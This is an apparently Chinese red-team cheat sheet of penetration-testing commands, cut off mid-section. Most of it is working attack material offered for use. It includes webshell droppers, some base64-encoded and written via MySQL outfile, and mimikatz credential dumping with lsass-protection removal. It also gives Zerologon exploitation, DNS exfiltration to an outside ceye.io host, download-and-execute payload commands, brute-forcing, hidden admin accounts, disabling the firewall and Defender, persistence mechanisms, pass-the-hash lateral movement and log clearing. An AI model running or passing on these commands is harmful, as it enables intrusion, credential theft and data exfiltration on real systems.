红队渗透测试常用命令速查大全
红队渗透测试中常用的命令行工具与技巧,涵盖命令执行、文件写入、端口扫描、密码爆破、内网穿透、权限维持及 Metasploit 使用等内容。包含 Linux 与 Windows 环境下的具体操作指令,如 nmap、masscan、hydra、mimikatz 等工具的用法,以及反弹 Shell、凭证获取和横向移动的方法。旨在为安全研究人员提供一份详细的命令参考手册。

红队渗透测试中常用的命令行工具与技巧,涵盖命令执行、文件写入、端口扫描、密码爆破、内网穿透、权限维持及 Metasploit 使用等内容。包含 Linux 与 Windows 环境下的具体操作指令,如 nmap、masscan、hydra、mimikatz 等工具的用法,以及反弹 Shell、凭证获取和横向移动的方法。旨在为安全研究人员提供一份详细的命令参考手册。

收集渗透中会用到的常用命令。
手动编码操作:
bash -c {echo,cGluZyAxMjcuMC4wLjE7ZWNobyAxID50ZXN0LnR4dA==}|{base64,-d}|{bash,-i}
find /|grep index.js|while read f;do sh -c "whoami" >$(dirname $f)/test.txt;done
for /r D:\ %i in (index.js*) do whoami > %i/../test.txt
在 Windows 中,批处理需要转义字符主要有'&','|','<','>'等等,转义字符为'^'。 在 Linux 中,需要转义字符主要是单引号或者双引号。对于单引号,我们将其替换为\47 即可。 Windows 命令行最大长度为 8191,16 进制长度是 113898。Echo 写文件时注意长度。
set /p=qaxnb<nul>d:\1d13.txt
echo qaxnb>1we.txt
echo qaxnb>>1we.txt
set /p="121d2">>a.txt
echo.123>>a.txt
echo,123>>a.txt
type;a.txt
写特殊字符很多的文件,可以用 certutil 编码再还原。如下还原:
certutil -f -decode 111.txt C:\\111.jsp
certutil -decodehex 111.txt C:\\111.jsp
Linux 下 base64:
echo PD9waHAgZXZhbCgkX1BPU1Rbd2hvYW1pXSk7Pz4=|base64 -d > /var/www/html/shell.php
PHP 的:
echo \<\?php eval\(\@\$_POST\[1\]\)\; \?\> >1.php
绕过空格:
> < <> 重定向符
%09(需要 php 环境)
${IFS}
$IFS$9
{cat,flag.php}
%20
%09
powershell -Command "Compress-Archive -Path E:\update\ -DestinationPath E:\test.zip"
可用命令行:Transfer.sh 使用很简单。
上传,成功后返回随机路径:
curl --upload-file ./hello.txt https://transfer.sh/hello.txt
获取:
https://transfer.sh/fF6OA7aF8o/hello.txt
nmap -sn 10.11.1.0/24
nmap -sV -p- 10.11.1.0
nmap 10.11.1.0 --script vuln
nmap -p445 10.11.1.0 --script smb-vuln-ms17-010
nmap -v -sn -PE -n --min-hostgroup 1024 --min-parallelism 1024 -oG tmp -iL ip.txt | awk '{print $5}' | grep -v "latency)." > ok_ip.txt
Nmap 极速扫描,快如闪电:
nmap -n --unique --resolve-all -Pn --min-hostgroup 64 --max-retries 0 --host-timeout 10m --script-timeout 3m -oX {filename} --version-intensity 9 --min-rate 10000 -T4 192.168.23.1
nmap -n --resolve-all -Pn --min-hostgroup 64 --max-retries 0 --host-timeout 10m --script-timeout 3m -oX {filename} --version-intensity 9 --min-rate 10000 -T4 192.168.23.1
获取 HTTP Title:
nmap -n --resolve-all -Pn --min-hostgroup --max-retries 3 --host-timeout 10m --script-timeout 3m --version-intensity 9 --min-rate 10000 --script=http-title -T4 -p- -iL domain.txt
注意速率问题,根据带宽调整。100M 带宽可调 3000,注意是 VPS,不是家庭宽带。 关于编译,直接 git 拉下来,make 就行。生成的文件在 bin 下面。
扫描单 IP:
masscan 192.168.1.110 -p 1-65535 --rate=1000
扫描列表:
masscan -iL ip.txt -p1-65535 --rate=1000 -oL port.txt
解析,提取 IP:Port:
cat port.txt |awk '{print $4":"$3}'
转换为 nmap 可用端口:
cat p.txt | tr "\n" ,
22,23,135,445,389,3389,80,443,8080,7001,3306,1433,1521,6379,27017,2375,5900,5432,4899
21-23,80-90,135,137,161,389,443,445,873,1099,1433,1521,1900,2082,2083,2222,2375,2376,2601,2604,3128,3306,3311,3312,3389,4440,4848,5001,5432,5560,5900-5902,6082,6379,7001-7010,7778,8009,8080-8090,8649,8888,9000,9200,10000,11211,27017,28017,50000,51111,50030,50060
...
top200 123456 password 123456789 12345678 12345 qwerty 123123 111111 abc123 1234567 dragon 1q2w3e4r sunshine 654321 master 1234 football 1234567890 000000 computer 666666 superman michael internet iloveyou daniel 1qaz2wsx monkey shadow jessica letmein baseball whatever princess abcd1234 123321 starwars 121212 thomas zxcvbnm trustno1 killer welcome jordan aaaaaa 123qwe freedom password1 charlie batman jennifer 7777777 michelle diamond oliver mercedes benjamin 11111111 snoopy samantha victoria matrix george alexander secret cookie asdfgh 987654321 123abc orange fuckyou asdf1234 pepper hunter silver joshua banana 1q2w3e chelsea 1234qwer summer qwertyuiop phoenix andrew q1w2e3r4 elephant rainbow mustang merlin london garfield robert chocolate 112233 samsung qazwsx matthew buster jonathan ginger flower 555555 test caroline amanda maverick midnight martin junior 88888888 anthony jasmine creative patrick mickey 123 qwerty123 cocacola chicken passw0rd forever william nicole hello yellow nirvana justin friends cheese tigger mother liverpool blink182 asdfghjkl andrea spider scooter richard soccer rachel purple morgan melissa jackson arsenal 222222 qwe123 gabriel ferrari jasper danielle bandit angela scorpion prince maggie austin veronica nicholas monster dexter carlos thunder success hannah ashley 131313 stella brandon pokemon joseph asdfasdf 999999 metallica december chester taylor sophie samuel rabbit crystal barney xxxxxx steven ranger patricia christian asshole spiderman sandra hockey angels security parker heather 888888 victor harley 333333 system slipknot november jordan23 canada tennis qwertyui casper
一条命令:
.\\mimikatz "privilege::debug" "sekurlsa::logonpasswords" exit
控制台执行多条命令,用 log 防止进程崩溃,数据丢失:
mimikatz # privilege::debug
mimikatz # log
mimikatz # sekurlsa::logonpasswords
mimikatz # sekurlsa::wdigest
MSF 中执行命令:
mimikatz_command -f sekurlsa::logonPasswords full
mimikatz_command -f sekurlsa::wdigest
注册表开启 wdigest,08R2 后默认关闭。需要目标注销,重新登录。2016 需要重启。
reg add HKLM\\SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest /v UseLogonCredential /t REG_DWORD /f /d 1
查询是否启用:
reg query HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa
把 mimidriver.sys 拷贝到同级目录,进行加载 bypass:
mimikatz # !+
mimikatz # !processprotect /process:lsass.exe /remove
mimikatz # privilege::debug
mimikatz # token::elevate
mimikatz # sekurlsa::logonpasswords
mimikatz # !processprotect /process:lsass.exe
mimikatz # !-
提取用户名:
awk -F":::" '{print $1}' credentials.txt | awk -F"\\" '{print $2}'
提取 hash:
awk -F":::" '{print $2}' credentials.txt
for /L %I in (1,1,256) DO @ping -w 1 -l 1 192.168.202.%I | findstr "TTL="
powershell -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath "C:\test"
gobuster dir -u https://buffered.io -w ~/wordlists/shortlist.txt
python3 dirsearch.py -e php,html,js -u https://target
python3 dirsearch.py -e php,html,js -u https://target -w /path/to/wordlist
python3 dirsearch.py -e php,htm,js,bak,zip,tgz,txt -u https://target -t 20
python3 dirsearch.py -e php,html,js -u https://target --proxy 127.0.0.1:8080
python3 dirsearch.py -e php,html,js -u https://target --proxy socks5://10.10.0.1:8080
nbtscan.exe 10.11.1.0/24
Proxychain, Sockscap64, Proxifier。
相对冷门,不会被杀。在 9004 上开启 socks5 代理。
sudo ./nps install
sudo nps start
安装后配置文件位置/etc/nps,默认密码 admin/123。
无记录 shell:
ssh -T [email protected] /usr/bin/bash -i
grep -E "([0-9]{1,3}[\.]){3}[0-9]{1,3}" -r xxx --color=auto
grep -E "https?://[a-zA-Z0-9\.\/\&_=@$%?~#-]*" -r xxx --color=auto
grep -EHirn "accesskey|admin|aes|api_key|apikey|checkClientTrusted|crypt|http:|https:|password|pinning|secret|SHA256|SharedPreferences|superuser|token|X509TrustManager|insert into" APKfolder/
grep -ohr -E "https?://[a-zA-Z0-9\.\/\&_=@$%?~#-]*" /app/ |sort|uniq >> test.txt
Web 应用:
grep -EHirn '--include=*.'{java,jsp,jspx,xml,conf,json,ini,properties,yaml,toml,plist,txt,sql} "accesskey|api_key|apikey|jdbc|username|pass|passwd|password" webapps/
搜索文件内的字符串:
grep -r "test" ./src
grep -rn "test" ./src
开远程:
use mysql;
update user set host = '%' where user = 'root';
FLUSH PRIVILEGES ;
select host, user from user;
mysql -uroot -p -e "select * from mysql.user;" >1.txt
不登录直接执行 SQL:
mysql -uaHmin -proot test -e "select now()" -N >H:/work/target1.txt
mysql -uroot -e "show databases;" >1.txt
MySQL GetShell:
show variables like '%secure%'
select '<?php eval($_POST[xxx]) ?>' into outfile '/var/www/xx.php';
select '<?php eval($_POST[xx]) ?>' into dumpfile '/var/www/xx.php';
set global general_log=on;
set global general_log_file='/var/www/1.php';
select '<?php eval($_POST[s6]) ?>';
select '<?php file_put_contents("abab.php",base64_decode("Jmx0Oz9waHANCkBlcnJvcl9yZXBvcnRpbmcoMCk7DQpzZXNzaW9uX3N0YXJ0KCk7DQogICAgJGtleT0iZTQ1ZTMyOWZlYjVkOTI1YiI7IA0KCSRfU0VTU0lPTlsmIzM5O2smIzM5O109JGtleTsNCgkkcG9zdD1maWxlX2dldF9jb250ZW50cygicGhwOi8vaW5wdXQiKTsNCglpZighZXh0ZW5zaW9uX2xvYWRlZCgmIzM5O29wZW5zc2wmIzM5OykpDQoJew0KCQkkdD0iYmFzZTY0XyIuImRlY29kZSI7DQoJCSRwb3N0PSR0KCRwb3N0LiIiKTsNCgkJDQoJCWZvcigkaT0wOyRpJmx0O3N0cmxlbigkcG9zdCk7JGkrKykgew0KICAgIAkJCSAkcG9zdFskaV0gPSAkcG9zdFskaV1eJGtleVskaSsxJjE1XTsgDQogICAgCQkJfQ0KCX0NCgllbHNlDQoJew0KCQkkcG9zdD1vcGVuc3NsX2RlY3J5cHQoJHBvc3QsICJBRVMxMjgiLCAka2V5KTsNCgl9DQogICAgJGFycj1leHBsb2RlKCYjMzk7fCYjMzk7LCRwb3N0KTsNCiAgICAkZnVuYz0kYXJyWzBdOw0KICAgICRwYXJhbXM9JGFyclsxXTsNCgljbGFzcyBDeHB1YmxpYyBmdW5jdGlvbiBfX2ludm9rZSgkcCkge2V2YWwoJHAuIiIpO319DQogICAgQGNhbGxfdXNlcl9mdW5jKG5ldyBDKCksJHBhcmFtcyk7DQo/Jmd0Ow0K'))?>' into outfile 'C:/wamp/www/abb.php';
python sqlmap.py -u "http://www.vuln.cn/post.php?id=1" --proxy "http://127.0.0.1:1080"
python sqlmap.py -u "http://www.vuln.cn" –cookie "id=11" --level 2
python sqlmap.py -u "www.xxxx.com/product/detail/id/3*.html" --dbms=mysql -v 3
python sqlmap.py -u "http://www.vuln.cn/post.php?id=1" --dbms mysql --dbs
python sqlmap.py -u "http://www.vuln.cn/post.php?id=1" --dbms mysql -D test --tables
python sqlmap.py -u "http://www.vuln.cn/post.php?id=1" --dbms mysql -D test -T admin –-columns
python sqlmap.py -u "http://www.vuln.cn/post.php?id=1" --dbms mysql -D test -T admin -C "username,password" --dump
python sqlmap.py -r "c:\request.txt" -p id –dbms mysql –file-read="e:\www\as\config.php"
堆叠注入,xp_cmdshell:
http://www.vuln.cn/post.php?id=11;DECLARE/**/@ljbd/**/VARCHAR(8000);SET/**/@ljbd=0x70696e67202d6e6320312077772e36373332396163312e646e732e313433332e65752e6f7267;EXEC/**/master..xp_cmdshell/**/@ljbd--
进入控制台:
gitlab-rails console production
/bin/rails console production
./rails console -e production
修改密码:
user = User.where(username:"root").first
user.password = "abc123"
user.password_confirmation= "abc123"
user.save!
把用户设为 admin:
user = User.where(username:"test").first
user.admin=ture
user.save!
写:
find /root -name war|while read file;do sh -c "echo $file">$(dirname $file)/finddir.txt;done
删:
find /root -name war|while read file;do sh -c "rm $(dirname $file)/finddir.txt";done
写:
find /root -name war|while read file;do sh -c "echo $file">$file/finddir.txt;done
删:
find /root -name war|while read file;do sh -c "rm $file/finddir.txt";done
写:
for /f %i in ('dir /s /b C:\Users\liulangmao\Desktop\war.txt') do (echo %i > %i\..\finddir.txt)
删:
for /f %i in ('dir /s /b C:\Users\liulangmao\Desktop\war.txt') do (del %i\..\finddir.txt)
写:
for /f %i in ('dir /s /b C:\Users\liulangmao\Desktop\war') do (echo %i > %i\finddir.txt)
删:
for /f %i in ('dir /s /b C:\Users\liulangmao\Desktop\war') do (del %i\finddir.txt)
示例:在 weblogic 靶机/root 所有 war 文件夹下的 finddir.txt 文件中写入该 war 文件夹的路径。
find /root -name war|while read file;do sh -c "echo $file">$file/finddir.txt;done
程序名找启动路径:
wmic process where name='mysqld.exe' get processid,executablepath,name
程序 pid 找路径:
wmic process get name,executablepath,processid|findstr pid
启动路径找 login.jsp:
for /f %i in ('dir /s /b D:\UFGOV\U8\login.jsp') do (echo %i)
Base64 分段不换行追加写文件:
echo|set /p=\"PCFET0NUWVBFIGh0bWw+IDxodG1sPiA8aGVhZD4gPG1ldGEgaHR0cC1lcXVpdj0iQ29udGVudC1UeXBlIiBjb250ZW50PSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9dXRmLTgiIC8+PGgxPjIwMjHlubR4eHjnvZHnu5zlronlhajlrp7miJjmvJTnu4M8L2gxPg==\" > D:\UFGOV\U8\webapps\demonstrate.txt
解决 cmd 无回显问题:
powershell Get-ChildItem C:
参数:-l 指定的用户名 -L 用户名字典 -p 指定密码 -P 密码字典 -s 指定端口 -o 输出文件 -t 任务数默认 16 -f 爆破成功一个就停止 -v 报错日志详细 -V 攻击日志。
hydra -L /root/user.txt -P pass.txt 10.1.1.10 mysql
hydra -L /root/user.txt -P pass.txt 10.1.1.10 ssh -s 22 -t 4
hydra -L /root/user.txt -P pass.txt 10.1.1.10 mssql -vv
hydra -L /root/user.txt -P pass.txt 10.1.1.10 rdp -V
hydra -L /root/user.txt -P pass.txt 10.1.1.10 smb -vV
hydra -L /root/user.txt -P pass.txt ftp://10.1.1.10
参数:-h 目标名或 IP -H 目标列表 -u 用户名 -U 用户名字典 -p 密码 -P 密码字典 -f 爆破成功停止 -M 指定服务 -t 线程 -n 指定端口 -e ns 尝试空密码和用户名密码相同。
medusa -h ip -u sa -P /pass.txt -t 5 -f -M mssql
medusa -h ip -U /root/user.txt -P /pass.txt -t 5 -f -M mssql
Py3:
python3 -c "import pty;pty.spawn('/bin/bash')"
Py2:
python2 -c 'import pty;spawn("/bin/sh")'
python -c 'import pty;spawn("/bin/bash")'
用完记得清记录:
history -c
useradd newuser;echo "newuser:password"|chpasswd
useradd -p `openssl passwd 123456` guest
useradd -p "$(openssl passwd 123456)" guest
useradd newuwer;echo -e "123456\n123456\n" |passwd newuser
net user admin$ Afabab@20 /add
net localgroup administrators admin$ /add
net user guest /active:yes
net localgroup administrators guest /add
Net localgroup Administrators kent /add /domain
Net localgroup Administrators /add test\kent
关闭防火墙:
netsh firewall set opmode mode=disable
放行远程 8888 端口进来的流量:
netsh advfirewall firewall add rule name="88" protocol=TCP dir=in remoteport=8888 action=allow
放行出去到远程 8888 端口的流量:
netsh advfirewall firewall add rule name="88" protocol=TCP dir=out remoteport=8888 action=allow
放行本地 4444 端口出去的流量:
netsh advfirewall firewall add rule name="44" protocol=TCP dir=out localport=4444 action=allow
放行从本地 4444 端口进来的流量:
netsh advfirewall firewall add rule name="44" protocol=TCP dir=in localport=4444 action=allow
删除规则:
netsh advfirewall firewall delete rule name="88"
查看防火墙配置:
netsh firewall show config
关闭 windefend:
net stop windefend
新版本命令:
netsh advfirewall firewall add rule name="test" dir=in action=allow program="C:\windows\temp\update.exe" enable=yes
netsh advfirewall firewall add rule name="test" dir=out action=allow program="C:\windows\temp\update.exe" enable=yes
端口转发:
netsh interface portproxy add v4tov4 listenport=801 connectport=80 connectaddress=172.23.80.14
Iptables 放行:
iptables -A INPUT -p tcp --dport 80 -j ACCEPT
Frpc.ini:
[common]
server_addr = xxxxxx
server_port = 7000
[rdp]
type = tcp
local_port = 3389
remote_port = 3389
[plugin_http_proxy]
type = tcp
remote_port = 10801
plugin = http_proxy
[plugin_socks5]
type = tcp
remote_port = 1080
plugin = socks5
产生日志 4742(利用成功), 5580(利用失败)。流量特征明显。会被 AV 直接秒。有可能会导致目标脱域。代理不稳,容易出问题。
git clone https://github.com/mstxq17/cve-2020-1472.git
python3 zerologon_tester.py Dc02 172.23.119.120
PingCastle.exe --server 172.23.119.120 --scanner zerologon --scmode-dc
洞清空目标域控机器账户密码:
python3 cve-2020-1472-exploit.py Dc02$ 172.23.119.120
无密码远程提取 ntds.dit:
python3 secretsdump.py qq.local/'Dc02$'@172.23.119.120 -no-pass -outputfile qq.local.ntds.hash
用 administrator 域管账户 hash 远程导出域控机器账户 hash [hex 格式]:
python3 secretsdump.py -hashes :ccef208c6485269c20db2cad21734fe7 qq/[email protected]
用上面的 hex 还原目标域控机器账户密码:
python3 restorepassword.py Dc02@Dc02 -target-ip 172.23.119.120 -hexpass daf1d2acc25d2e54218921737a40d58192b9bcdf089ddbeaf9f7931571b07916f96e2c51d8d00f56d2440c13c0e5586e2dafd1669e37131***
清除远程桌面连接记录,创建 clear.bat:
@echo off
reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default" /va /f
reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" /f
reg add "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers"
cd %userprofile%\documents\attrib Default.rdp -s -h
del Default.rdp
方法一:
wmic /namespace:\root\cimv2\terminalservices path win32_terminalservicesetting where (__CLASS != "") call setallowtsconnections 1
wmic /namespace:\root\cimv2\terminalservices path win32_tsgeneralsetting where (TerminalName ='RDP-Tcp') call setuserauthenticationrequired 1
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fSingleSessionPerUser /t REG_DWORD /d 0 /f
net start TermService
方法二:
reg add "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /t REG_DWORD /v portnumber /d 3389 /f
wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1
netstat -an|find "3389"
wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 0
findstr /s /i /n /d:C:\ /c:"123123" *.txt
for /r C: %i in (login.*) do @echo %i
where /R C: login.*
dir /s/a-d/b login.*
find / -name index.php
find / -name "index.php" | xargs grep "111222"
updatedb && locate index.php
wmic process get name,executablepath
在 windows 当中,%cd% 代表的是当前目录,我们通过 echo 将当前目录写入文本 temp,然后通过 certutil 对文件内容进行 base64 编码,再过滤 certutil 携带的字符,将它赋给一个变量,最后通过 nslookup 外带出来,从而实现获取当前目录的目的。
echo %cd% > temp&&certutil -encode temp temp1&&findstr /L /V "CERTIFICATE" temp1 > temp2&&set /p ADDR=<temp2&&nslookup %ADDR%.is1lv6.ceye.io
如果需要外带多行命令,则需要以下语句:
where /R C: login.* > test && certutil -encodehex -f test test.hex 4 && powershell $text=Get-Content test.hex;$sub=$text -replace(' ','');$j=11111;foreach($i in $sub){ $fin=$j.tostring()+'.'+$i+'.is1lv6.ceye.io';$j += 1; nslookup $fin }
Win 常用变量:
%ALLUSERSPROFILE% 本地 返回'所有用户'配置文件的位置。
%APPDATA% 本地 返回默认情况下应用程序存储数据的位置。
%CD% 本地 返回当前目录字符串。
%CMDCMDLINE% 本地 返回用来启动当前的 Cmd.exe 的准确命令行。
%COMPUTERNAME% 系统 返回计算机的名称。
%COMSPEC% 系统 返回命令行解释器可执行程序的准确路径。
%DATE% 系统 返回当前日期。
%ERRORLEVEL% 系统 返回上一条命令的错误代码。
%HOMEDRIVE% 系统 返回连接到用户主目录的本地工作站驱动器号。
%HOMEPATH% 系统 返回用户主目录的完整路径。
%HOMESHARE% 系统 返回用户的共享主目录的网络路径。
%LOGONSERVER% 本地 返回验证当前登录会话的域控制器的名称。
%NUMBER_OF_PROCESSORS% 系统 指定安装在计算机上的处理器的数目。
%OS% 系统 返回操作系统名称。
%PATH% 系统 指定可执行文件的搜索路径。
%PATHEXT% 系统 返回操作系统认为可执行的文件扩展名的列表。
%PROCESSOR_ARCHITECTURE% 系统 返回处理器的芯片体系结构。
%PROCESSOR_IDENTFIER% 系统 返回处理器说明。
%PROCESSOR_LEVEL% 系统 返回计算机上安装的处理器的型号。
%PROCESSOR_REVISION% 系统 返回处理器的版本号。
%P ROMPT% 本地 返回当前解释程序的命令提示符设置。
%RANDOM% 系统 返回 0 到 32767 之间的任意十进制数字。
%SYSTEMDRIVE% 系统 返回包含 Windows server operating system 根目录的驱动器。
%SYSTEMROOT% 系统 返回 Windows server operating system 根目录的位置。
%TEMP%和%TMP% 系统和用户 返回对当前登录用户可用的应用程序所使用的默认临时目录。
%TIME% 系统 返回当前时间。
%USERDOMAIN% 本地 返回包含用户帐户的域的名称。
%USERNAME% 本地 返回当前登录的用户的名称。
%USERPROFILE% 本地 返回当前用户的配置文件的位置。
%WINDIR% 系统 返回操作系统目录的位置。
在 linux 中 pwd 也是查看当前目录的,我们通过 tr -d 将换行符去掉并通过 xxd -ps 将值转化为 16 进制,这样我们即可外带出自己想要的东西。
ping pwd|tr -d '\n'|xxd -ps.is1lv6.ceye.io
Base64 原理和上面类似,主要是对值进行 base64 编码,然后替换掉'=',即可成功外带数据。
pingpwd|base64|tr -d '='.is1lv6.ceye.io
如果有多行数据需要外带,那么请考虑下面的语句。
var=11111 && for b in $(find / -name "index.php" | xargs grep "111222"|xxd -p); do var=$((var+1)) && dig $var.$b.is1lv6.ceye.io; done
短文件名查看:用"dir /x"命令可以方便地帮助您查看系统对目录或文件名的缩写。
常见短文件名:Documents and Settings 可表示为 DOCUME1;Local Settings 可表示为 LOCALS1;Program Files 表示为 PROGRA1;Program Files (x86) 表示为 PROGRA2。
powershell (new-object System.Net.WebClient).DownloadFile('http://192.168.1.1/1.exe','C:\test\1.exe');start-process 'C:\test\1.exe'
powershell (new-object System.Net.WebClient).DownloadFile('http://192.168.1.1/1.exe','1.exe')
Invoke-Expression (New-Object Net.WebClient).DownloadString("http://xxx.xx.xx.xx/test.ps1")
Bypass:
echo (new-object System.Net.WebClient).DownloadFile('http://192.168.31.93:8000/tomcat.exe','C:/Users/test/cc.exe')| powershell -
Base64 编码:
$Text = "(new-object System.Net.WebClient).DownloadFile('http://xxxxxxxxxx:8000/bddch.txt','bdchd.txt')"
$Bytes = [System.Text.Encoding]::Unicode.GetBytes($Text)
$EncodedText =[Convert]::ToBase64String($Bytes)
$EncodedText
Base64 解码:
$EncodedText = "dwByAGkAxxxxxxxxxxxxxxxxxxxAG0AbgB0AG4AJwA="
$DecodedText = [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String($EncodedText))
$DecodedText
运行 base64 编码后的命令:
powershell -noP -sta -enc xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
C:\Windows\System32\certutil.exe C:\Users\Public\cer.exe
certutil.exe -urlcache -split -f http://192.168.1.1/1.exe
certutil.exe -urlcache -split -f http://192.168.1.1/1.txt 1.exe
certutil.exe -urlcache -split -f http://192.168.6.27:8012/download/f.ext C:\windows\temp\up.exe &&start C:\windows\temp\up.exe
certutil.exe -urlcache -split -f http://192.168.1.1/1.exe delete
certutil.exe -urlcache *
certutil -encode lcx64.exe lcx64.txt
certutil -decode lcx64.txt lcx64.exe
certutil -hashfile a.exe MD5
Certutil & Certutil –urlcache –f –split url
Certutil | Certutil –urlcache –f –split url
不支持 https、ftp 协议,php python 带的服务器会出错。
bitsadmin /transfer n http://192.168.1.1/1.exe C:\test\update\1.exe
下载到指定目录:
wget -P /tmp http://127.0.0.1:8088/aliyun
使用内置 option:-o(小写):
curl -o dodo1.jpg http:www.linux.com/dodo1.JPG
使用内置 option:-O(大写):
curl -O http://www.linux.com/dodo1.JPG
下载后,上线:
chmod +x /tmp/aliyun&&/tmp/aliyun
NT6 以后的目录如下:
对当前用户有效: C:\Users\Username\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup 对所有用户有效: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp
reg add "XXXX" /v evil /t REG_SZ /d "[Absolute Path]\evil.exe"
sc create evil binpath= "cmd.exe /k [Absolute Path]evil.exe" start= "auto" obj= "LocalSystem"
SCHTASKS /Create /RU SYSTEM /SC ONSTART /RL HIGHEST /TN \Microsoft\Windows\evil\eviltask /TR C:\Users\hunter\Desktop\evil.exe
wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="evil", EventNameSpace="root\cimv2",QueryLanguage="WQL", Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 310"
wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="evilConsumer", ExecutablePath="C:\Users\hunter\Desktop\beacon.exe",CommandLineTemplate="C:\Users\hunter\Desktop\beacon.exe"
wmic /NAMESPACE:"\\root\subscription" PATH __FilterToConsumerBinding CREATE Filter="__EventFilter.Name=\"evil\"", Consumer="CommandLineEventConsumer.Name=\"evilConsumer\""
reg add "hkcu\control panel\desktop" /v SCRNSAVE.EXE /d C:\Users\hunter\Desktop\beacon.exe /f
reg add "hkcu\control panel\desktop" /v ScreenSaveActive /d 1 /f
reg add "hkcu\control panel\desktop" /v ScreenSaverIsSecure /d 0 /f
reg add "hkcu\control panel\desktop" /v ScreenSaveTimeOut /d 60 /f
bitsadmin /create evil
bitsadmin /addfile evil "C:\Users\hunter\Desktop\beacon.exe" "C:\Users\hunter\Desktop\beacon.exe"
bitsadmin.exe /SetNotifyCmdLine evil "C:\Users\hunter\Desktop\beacon.exe" NUL
bitsadmin /Resume evil
可以通过导入 helperdll 的方式做权限维持,命令格式如下: netsh add helper [Absolute evil DLL path] 但是由于 netsh 并不会开启自启动,因此还要再写一条自启动项: reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v Pentestlab /t REG_SZ /d "cmd /c C:\Windows\System32\netsh" 重新启动后依然可获得 shell。
在默认的 Windows 安装中,System32 文件夹中缺少 oci.dll 这个文件,在获得写权限的情况下可以在该文件夹下写入一个同名的 dll,服务启动时执行恶意代码。默认情况下,由于启动类型设置为'手动',通过以下命令设置自启:
sc qc msdtc
sc config msdtc start= auto
Systeminfo 计算机详细信息 (补丁信息) Net start 所启动的服务 Wmic service list brief 查询本机服务信息 Tasklist 进程列表 Wmic startup get command,caption 查看启动该程序信息 Schtasks /query /fo LIST /v 计划任务 Netstat -ano 根据本机端口开放情况来判断有什么服务、其角色 Query user || qwinsta 查看当前在线用户 Net session 列出会话 Net share 查看本机的共享列表 Wmic share get name,path,status 查看共享列表 Net user 本地用户 Net user kkkk 查看本地用户信息 Net localgroup 本地用户组 Net localgroup /domain 域用户组 Net localgroup adminnstrators 本地管理员组成员 net localgroup adminstrators /domain 查看登陆过主机的管理员 Wmic useraccount get /all 获取域内用户详细信息 dsquery user 查看存在的用户 Net user /domain 域用户信息 Net user kkkk /domain 域用户 kkkk 信息 Net user kent password /add /domain 添加域用户 Net group /domain 域用户组信息 Net view /domain 查询域 Net view /domain:test 查询域内计算机 Net accounts /domain 查询域中密码策略 Net group "Domain Controllers" /domain 查看域控制器组 Net group "Domain computers" /domain 查看域内所有计算机列表 Net group "Domain admins" /domain 查看域内管理员用户 Net user /domain kent active:yes 启用域账户 Net user /domain kent active:no 禁用域账户 Nltest /DCLIST:test 查看域中域控制器名 Wmic useraccount get /all 用户详细信息 Net group "Domain Admins" /domain 对应组下的账户信息 nltest /domain_trusts 获取域信任信息 net config workstation 了解本机的配置信息 Netsh firewall show config 查看防火墙配置 Netsh advfirewall set allprofiles state off 关闭防火墙 (windows server 2003 后) Netsh advfirewall firewall add rule name="pass nc" dir=in action=allow program="C:\nc.exe" 允许指定程序进入 (windows server 2003 后) Netsh advfirewall firewall add rule name="allow nc" dir=out action=allow program="C:\nc.exe" 允许指定程序退出 (windows server 2003 后) Netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow 允许 3389 连接 (windows server 2003 后) Reg query "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings" 查看端口代理配置信息 Reg query "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /V PortNumber 查看远程桌面端口号
使用明文密码登录到目标,需要 445 和 139 端口开启:
net use \\192.168.2.148\ipc$ password /user:test\administrator
net use \\192.168.2.148\ipc$ password /user:administrator
copy c:\1.exe \\192.168.2.148\c$
at \\192.168.2.148 10:10 c:\1.exe
Schtasks /create /s 192.168.2.148 /ru 'SYSTEM' /tn executefile /sc DAILY /tr c:/1.exe /F
Schtasks /run /s 192.168.2.148 /tn executefile /i
Schtasks /delete /s 192.168.2.148 /tn executefile /f
sc \\192.168.210.107 create hacker binpath="c:\shell1.exe" #创建服务
sc \\192.168.210.107 start hacker #启动 hacker 服务
Atexec:
Atexec.exe hacker/administrator:[email protected] "whoami"
Atexec.exe -hashes :fac5d668099409cb6fa223a32ea493b6 hacker/[email protected] "whoami"
Dcomexec:
dcomexec.exe hacker/administrator:[email protected] "whoami"
dcomexec.exe -hashes :fac5d668099409cb6fa223a32ea493b6 hacker/[email protected] "whoami"
PsExec:
Net use \192.168.202.148\ipc$ zxcvbnm123 /user:test\Administrator
Psexec \192.168.202.148 -accepteula -s cmd
Psexec \192.168.202.148 -u Administrator -p zxcvbnm123 -s cmd
PsExec -hashes :fac5d668099409cb6fa223a32ea493b6 test.com/[email protected] "whoami"
Smbexec:
Smbexec test/Administrator:[email protected]
Smbexec -hashes :fac5d668099409cb6fa223a32ea493b6 test/[email protected]
WMI:
